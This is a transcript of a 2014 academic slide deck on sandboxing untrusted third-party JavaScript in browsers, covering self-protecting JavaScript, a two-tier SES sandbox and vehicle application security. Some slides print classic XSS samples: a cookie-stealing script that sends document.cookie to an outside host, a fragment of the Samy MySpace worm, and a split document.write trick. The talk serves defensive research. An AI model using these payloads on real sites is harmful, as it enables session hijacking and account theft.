Top Banner
WEB SECURITY: SECURING UNTRUSTED WEB CONTENT AT BROWSERS Phu H. Phung University of Gothenburg, Sweden, and University of Illinois at Chicago, USA April 28 2014 – Danang University of Science and Technology, Vietnam
49

Web security: Securing untrusted web content at browsers

Dec 14, 2014

Download

Science

Phú Phùng

Seminar on April 28, 2014, Danang University of Technology, Danang City, Vietnam.
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Web security: Securing untrusted web content at browsers

WEB SECURITY: SECURING UNTRUSTED WEB CONTENT AT BROWSERSPhu H. Phung

University of Gothenburg, Sweden, and

University of Illinois at Chicago, USA

April 28 2014 – Danang University of Science and Technology, Vietnam

Page 2: Web security: Securing untrusted web content at browsers

2

Web page is rendered at browsers

• Web pages contain JavaScript code, a scripting language run at browsers

• JavaScript can provide a lot of functionalities rich interactions

Page 3: Web security: Securing untrusted web content at browsers

92% of all websites use JavaScript[w3techs.com]

“88.45% of the Alexa top 10,000 web sites included at least one

remote JavaScript library”CCS’12

3

Page 4: Web security: Securing untrusted web content at browsers

4

Third-party JavaScript is everywhere• Advertisements

• Adhese ad network

• Social web• Facebook Connect• Google+• Twitter• Feedsburner

• Tracking• Scorecardresearch

• Web Analytics• Yahoo! Web Analytics• Google Analytics

• …

Page 5: Web security: Securing untrusted web content at browsers

Two basic composition techniques• Iframe integration

5

<html><body>…<iframe src=“http://3rdparty.com/frame.html”></iframe>…</body></html>

3rd party

Page 6: Web security: Securing untrusted web content at browsers

6

Two basic composition techniques

<html><body>…<script src=“http://3rdparty.com/script.js”></script>…</body></html>

3rd party

Script inclusion

Page 7: Web security: Securing untrusted web content at browsers

Third-party JavaScript issues

• Third-party script inclusion run with the same privilege of the hosting page.

• Security issues:• Malicious third-party code• Trusted third-party is compromised • Confidentiality, integrity, and other security risks

7

Page 8: Web security: Securing untrusted web content at browsers

8

Difficult issues with JavaScript

• JavaScript is a powerful language, but the language design is bad for security, e.g.:• Dynamic scripts: document.write, eval, ...• Encapsulation leakage• ...

<script> document.write(‘<scr’);document.write(‘ipt> malic’);var i= 1;document.write(‘ious code; </sc’);document.write(‘ript>’);</script>

<script> malicious code; </script>

A lot of attacks were launched in

practice

Page 9: Web security: Securing untrusted web content at browsers

9

Samy attack on Myspace• MySpace tries to filter out JavaScript code in user data

• BUT: The malicious code was injected in a “strange” way that escapes the filter<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);………">

</div>

Page 10: Web security: Securing untrusted web content at browsers

10

A cross-site scripting attack example

<script>alert(document.location='http://ha.ckers.org/?cookie='+document.cookie);</script>

Step 1 – Inject malicious code to a vulnerable web site Step 2 – Trick victims to the linkStep 3 – Get the cookie and launch attack

Page 11: Web security: Securing untrusted web content at browsers

11

A real attack with stolen cookies

• Firesheep, an add-on for Firefox• Steal cookies, and then

compromise the account of e.g. Facebook users

October 2010

Page 12: Web security: Securing untrusted web content at browsers

Another attack

• Million Browser Botnet

(July 2013)• Leverage Advertising

Networks using JavaScript to launch Application-Level DDoS

• Paid on 2 ad networks for displaying treacherous advertisements on pages visited by hundreds of thousands of people

(Malicious code run automatically without user knowledge)

Jeremiah Grossman & Matt JohansenWhiteHat SECURITY

12

Page 13: Web security: Securing untrusted web content at browsers

13

State-of-the-art

• Limit third-party code to safe subset of JavaScript• Facebook JS, ADSafe, ADSafety, ...

• Browser-based sandboxing solutions• ConScript, WebJail, Contego, ...

• Server-side transformations of scripts to be included• Google Caja, BrowserShield, ...

No compatibility with existing scripts

Browser modifications imply short-term deployment issues

No direct script delivery to browserGreat runtime overhead

Page 14: Web security: Securing untrusted web content at browsers

Our approach

•A sandbox model for third-party JavaScript• Using only JS libraries and wrappers• No browser modification is required • The third-party code is keep in original• Easily dealing with dynamic features of JavaScript

14

Page 15: Web security: Securing untrusted web content at browsers

15

API call interception

alert implementation

JavaScript execution environment(e.g. browsers)

Native implementations

code pointers User functions

alert(‘Hi!’) window.alert

alert wrapper(+policy code)

Attacker codealert = function(){...};

alert wrapper

unique

(enforced by SPJS)

Page 16: Web security: Securing untrusted web content at browsers

16

Deployment illustration<html> <head> <script src=“selfprotectingJS.js"></script> <title>Self-protecting JavaScript </title> <meta content=…> <style>…</style> <script>…</script> <!-- more heading setting --> </head> <body> <script type="text/javascript"> (function() {..})(); </script> <!-- the content of page --> </body></html>

Policy code and

enforcement code defined in a text file

The enforcement code can be

deployed anywhere: server side, proxy or browser plug-in, i.e.

no need for a modified browser

The orgininal code is not

syntactically modified

6.33

66.03

0

10

20

30

40

50

60

70

Self-Protecting BrowserShield

Slo

wd

ow

n (t

imes

)

Runtime overhead

Page 17: Web security: Securing untrusted web content at browsers

17

Effectiveness• Defend almost all of the known XSS attacker vectors

• 34 attack vectors over 38 successful attack vectors

• Provide Security Policy Patterns to build realistic policies e.g. prevent the attack of Firesheep on Facebook

• Defend real-world exploits• phpBB 2.0.18 vulnerabilities – a stored XSS attack• WebCal vulnerabilities –a reflected XSS attack

Page 18: Web security: Securing untrusted web content at browsers

Our contributions in web security

Lightweight Self-Protecting JavaScript

ASIACCS’09

A Two-tier Sandbox Architecture for Untrusted

JavaScript

JSTools’12Safe Wrappers and Sane Policies for

Self-Protecting JavaScriptAppSec Research ’10

JSand: complete client-side sandboxing of third-party

JavaScript without browser modifications

ACSAC’11SAFESCRIPT: JavaScript Transformation for Policy Enforcement

Nordsec ’13

Page 20: Web security: Securing untrusted web content at browsers

20

SPJS with Untrusted JavaScript

Self-Protecting JavaScript Code TRUSTED

UNTRUSTED

• No privilege distinguish between hosting code and external code

Hosting code

Hosting code

Hosting code

external code

external code

Page 21: Web security: Securing untrusted web content at browsers

21

Goals• Deploy SPJS in the context of untrusted JS

• Load and execute untrusted code without pre-processing the code• No browser modification is required

• Enforce modular and fined-grained, stateful security policies for a piece of untrusted code• Protect the hosting page from untrusted code

• Robust to potential flaws in security policies• Bad written policies might not break security

Page 22: Web security: Securing untrusted web content at browsers

22

Two-tier sandbox architecture

var api = loadAPI(…);

var outerSandbox = cajaVM.compileModule(policyCode);

var enforcedAPI = outerSandbox(api);

var innerSandbox = cajaVM.compileModule(untrustedCode);

innerSandbox(enforcedAPI);

Page 23: Web security: Securing untrusted web content at browsers

Two-tier Sandbox Architecture

23

Sandbox running

untrusted code, defined in a

separate file e.g. `untrusted.js’

Sandbox running policy code, defined in a separate JS e.g. `policy.js’

Base-line API implementation,in e.g. `api.js’ file

JavaScript environment,

e.g. the DOM

The policy code can only access the base-line API and provided

wrapper functions (ensuring no leaks to global)

The untrusted code can only access objects returned by the outer sandbox

Page 24: Web security: Securing untrusted web content at browsers

24

The architecture in multiple-principal untrusted code

Policy 2Policy 1

untrusted

Policy 3

untrusted

untrusted

Base-line API implementation,in e.g. `api.js’ file

Page 25: Web security: Securing untrusted web content at browsers

25

Sandboxing untrusted code

• Use Secure ECMAScript (SES) library developed by Google Caja team• Load a piece of code to execute within an isolated

environment• The code can only interact with the outside world via provided

APIs

var api = {...}; //constructingvar makeSandbox = cajaVM.compileModule(untrustedCodeSrc);var sandboxed = makeSandbox(api);

Page 26: Web security: Securing untrusted web content at browsers

Isolation technique: The SES library

Object-capability environment• Scripts can access

• Objects they create themselves• Objects explicitly handed to them

APIGlobal context

untrustedCodesandbox

26

Page 27: Web security: Securing untrusted web content at browsers

Isolation technique: The SES library

27

Page 28: Web security: Securing untrusted web content at browsers

Base-line APIs implementation

• Create a Virtual DOM• Intercepting wrapper around real DOM• Consult security policy on each operation• Use Harmony Proxies to generically intercept property accesses on objects

• Virtual DOM implementation uses the Membrane Pattern• Wrap any object passed from DOM to sandbox (return

values)• Unwrap any object passed from sandbox to DOM

(arguments)

28

Page 29: Web security: Securing untrusted web content at browsers

Wrapper example

29

Page 30: Web security: Securing untrusted web content at browsers

30

Policy definition

• Base-line APIs implementation• Can enforce coarse-grained, generic policies, e.g.:

• Sanitize HTML• Ensure complete mediation

• Fine-grained policies for multiple untrusted JavaScript code• Modular, principal-specific, e.g.: script1 is allowed to

read/write reg_A, script2 is allowed to read reg_A • Stafeful, e.g.: limit the number of popups to 3 • Cross-principal stateful policies, e.g: after script1 write

to reg_A, disallow access from script2 to reg_A

Page 31: Web security: Securing untrusted web content at browsers

Deployment model

• Untrusted code is loaded into a string variable• Using server-side proxy + XMLHttpRequest (to

overcome same origin policy)• CORS/UMP headers set by the script provider

<script src=“http://3rdparty.com/script.js”></script>

<script src=“ses.js”></script><script src=“api.js”></script><script src=“policy0.js”></script><script>var script = get(“http://3rdparty.com/script.js”);ses.execute(script,policy0);</script>before

after

31

Page 32: Web security: Securing untrusted web content at browsers

32

Secure dynamic script evaluation

• Special handlers to intercept all methods that allow script tags to be added• node.appendChild, node.insertBefore,

node.replaceChild, node.insertAfter• document.write, …• Event handlers in HTML, e.g. <…onclick=“javascript:xyz(…)”>

1. Parse partial DOM tree/HTML

2. Execute scripts in the sandbox environment

Page 33: Web security: Securing untrusted web content at browsers

Different parsing techniques• Via a sandboxed iframe

1. Create sandbox iframe

2. Set content via srcdoc attribute• More performant• Parsed exactly as will be interpreted by browser• Executed asynchronously

• (Alternative) Via a HTML parsing library in JavaScript

33

Page 34: Web security: Securing untrusted web content at browsers

34

Loading additional code in the sandbox

• Several use cases require external code to be executed in a previously set up sandbox• Loading API + glue code• Dynamic script loading

• Two new operations:• innerEval(code)• innerLoadScript(url)

Page 35: Web security: Securing untrusted web content at browsers

Case studies• Single principal code

• Multiple-principal code• Context-aware ads

35

Page 36: Web security: Securing untrusted web content at browsers

36

Introduction to our research

Page 37: Web security: Securing untrusted web content at browsers

37

Page 38: Web security: Securing untrusted web content at browsers

Past projects

• SESAME: Security for Extensible Software Architectures in Mobile Environments, collaborated with Volvo Technology.

• European WebSand project (3 years, 5 EU universities and industries)

Page 39: Web security: Securing untrusted web content at browsers

39

A real attack example

http://www.wired.com/threatlevel/2010/03/hacker-bricks-cars/

Page 40: Web security: Securing untrusted web content at browsers

40

The future in-vehicle system

Page 41: Web security: Securing untrusted web content at browsers

41

Motivations for fined-grained policy enforcement at runtime• Third-party service needs to

use sensitive resources, e.g. GPS location,SMS sending to function

• Potential security risks: e.g. leaking GPS info, send too many SMS messages causing high costNeed for fined-grained security policy enforcement at runtime

Policy: allow SMS sending but restricted to a specific recipient address, limit on the number of messages sent per

day, depending on the vehicle's location

Page 42: Web security: Securing untrusted web content at browsers

42

Our contributions to vehicle application security

Security Policy Enforcement for the OSGi Framework using Aspect-Oriented

ProgrammingCOMPSAC’08

A Model for Safe and Secure Execution of Downloaded

Vehicle ApplicationsRTIC’10

Page 43: Web security: Securing untrusted web content at browsers

Ongoing work

• interWebSec: Cross-Language Web Protection, funded by Swedish Research Council (3 years, on-going)

• A general platform for Bot-as-a-Service in Smart Cities (with Vienna Univ. Tech.)

43

Page 44: Web security: Securing untrusted web content at browsers

Research group in Sweden• Well-known for web and language-based security • 3 faculties, 3 postdocs, ~8 PhD students

• http://vimeo.com/82206652

44

Page 45: Web security: Securing untrusted web content at browsers

Research group in USA

• One faculty, 3 postdocs, 6 PhD students• Well-known for computer systems security with the use of ideas from compilers, operating systems and formal methods

• Publications in CCS, Oakland, USENIX Security• Ongoing projects

• Secure Web Advertisements, funded by NSF (3 years with UIC & UT Dallas, on-going)

• Defensive Optimizing Compiler, funded by DARPA (3 years with UIC, UCLA & Bell Labs, on-going)

45

Page 46: Web security: Securing untrusted web content at browsers

Thank you!

[email protected]

Page 47: Web security: Securing untrusted web content at browsers

47

Page 48: Web security: Securing untrusted web content at browsers

Implementation challenges

•Legacy scripts need additional pre-processing to be compatible with the framework• Secure ECMAScript restrictions

• A subset of ECMAScritp strict mode• Global variables aliased as window properties

• No ‘this’ auto coercion

48

Page 49: Web security: Securing untrusted web content at browsers

49

JS transformation examples